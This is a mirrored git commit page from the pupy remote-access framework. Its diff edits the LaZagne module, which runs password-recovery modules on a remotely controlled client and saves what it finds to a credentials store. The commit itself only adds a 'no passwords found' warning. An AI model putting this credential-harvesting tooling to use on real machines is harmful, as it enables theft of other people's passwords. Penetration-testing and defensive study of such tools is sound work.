mirror of https://github.com/n1nj4sec/pupy.git
Merge branch 'lazagne' of https://github.com/AlessandroZ/pupy into AlessandroZ-lazagne
This commit is contained in:
commit
6b5b9ec5b7
|
@ -49,13 +49,19 @@ class LaZagne(PupyModule):
|
||||||
|
|
||||||
db = Credentials()
|
db = Credentials()
|
||||||
|
|
||||||
|
passwordsFound = False
|
||||||
moduleNames = self.client.conn.modules["lazagne.config.manageModules"].get_modules()
|
moduleNames = self.client.conn.modules["lazagne.config.manageModules"].get_modules()
|
||||||
for module in moduleNames:
|
for module in moduleNames:
|
||||||
if args.verbose:
|
if args.verbose:
|
||||||
self.info("running module %s"%(str(module).split(' ',1)[0].strip('<')))
|
self.info("running module %s"%(str(module).split(' ',1)[0].strip('<')))
|
||||||
passwords = module.run(module.options['dest'].capitalize())
|
passwords = module.run(module.options['dest'].capitalize())
|
||||||
|
if passwords:
|
||||||
|
passwordsFound = True
|
||||||
self.print_results(module.options['dest'].capitalize(), passwords, db)
|
self.print_results(module.options['dest'].capitalize(), passwords, db)
|
||||||
|
|
||||||
|
if not passwordsFound:
|
||||||
|
self.warning("no passwords found !")
|
||||||
|
|
||||||
elif "Linux" in platform:
|
elif "Linux" in platform:
|
||||||
isWindows = False
|
isWindows = False
|
||||||
if "64" in self.client.desc["os_arch"]:
|
if "64" in self.client.desc["os_arch"]:
|
||||||
|
|
Loading…
Reference in New Issue